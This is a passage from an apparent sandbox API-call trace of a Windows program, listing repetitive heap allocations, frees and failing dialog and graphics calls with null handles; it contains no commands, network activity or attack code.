lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.797] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.797] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.797] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.797] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.797] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.797] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.797] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.797] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193064388, cy=27, fuLoad=0x0) returned 0x0 [0026.797] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.797] GetLastError () returned 0x715 [0026.797] SetLastError (dwErrCode=0x715) [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.798] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.798] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.798] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.798] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.798] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.798] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.798] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.798] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.799] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.799] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.799] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.799] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.799] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.799] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.799] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.799] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.799] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.799] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.800] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.800] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.800] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.800] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.800] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.800] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.800] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.800] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.800] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.800] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.800] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.800] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.800] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193045443, cy=27, fuLoad=0x0) returned 0x0 [0026.800] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.801] GetLastError () returned 0x715 [0026.801] SetLastError (dwErrCode=0x715) [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.801] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.801] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.801] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.801] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.801] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.801] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.802] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.802] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.802] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.802] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.802] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.802] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.802] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.802] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.803] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.803] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.803] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.803] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.803] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.803] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.803] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: 